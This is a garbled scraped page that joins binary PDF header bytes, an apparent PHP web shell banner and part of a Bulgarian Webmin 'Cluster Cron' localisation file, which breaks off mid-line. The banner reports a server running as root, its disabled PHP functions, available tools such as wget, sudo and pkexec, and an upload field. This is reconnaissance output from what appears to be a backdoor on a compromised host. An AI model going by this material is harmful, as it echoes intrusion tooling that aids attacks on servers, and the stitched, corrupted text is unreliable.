%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/webmin/cluster-cron/lang/ |
Upload File : |
index_title=Cluster Cron Jobs index_add=Създайте нова работа на клъстер крон. index_none=Не са дефинирани задания за клъстер крон. index_servers=Стартирайте на сървъри index_return=списък с работни места на клъстер крон index_more=$1 повече .. index_run=Стартирай сега .. index_actions=мерки edit_title=Редактиране на Cluster Cron Job create_title=Създайте Cluster Cron Job edit_servers=Стартирайте на сървъри edit_group=Членове на $1 edit_this=този сървър edit_all=<Всички хостове> edit_emissing=Cron работа вече не съществува! save_err=Неуспешно запазване на клъстерния крон exec_title=Изпълнете Cluster Cron Job exec_cmd=Изпълнява се $1 на избрани сървъри .. exec_failed=Неуспешно стартиране на $1 : $2 exec_success=Резултат от $1 .. exec_nohosts=Няма избрани хостове за стартиране или избрани групи не съдържат гостоприемни хостове. log_run=Класира се $1 на $2 сървъри log_run_l=Клас $1 на $2 log_create=Създаден клъстер cron за $1 log_create_l=Създаден клъстер cron задача $2 за $1 log_modify=Модифицирана работа на клъстерния крон за $1 log_modify_l=Модифицирана задача на клъстерния крон $2 за $1 log_delete=Изтрита задача на клъстер крон за $1 log_delete_l=Изтрита задача на клъстер крон $2 за $1 log_deletes=Изтрити $1 задания на клъстер cron delete_err=Изтриването на клъстерни задания на cron не успя delete_enone=Няма избран